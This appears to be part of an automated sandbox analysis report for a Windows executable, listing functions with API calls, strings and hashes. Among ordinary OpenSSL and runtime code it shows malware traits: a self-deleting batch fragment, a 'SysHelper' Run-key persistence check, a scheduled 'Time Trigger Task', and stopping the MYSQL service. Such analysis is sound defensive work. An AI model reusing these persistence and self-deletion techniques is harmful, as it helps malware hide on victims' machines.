{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
@echo off:trydel ", xrefs: 0041262A

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2d54a52d798a0afde9218a6ee6c79ee0b434336cd27d5fab6bedf0357fc64c8f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
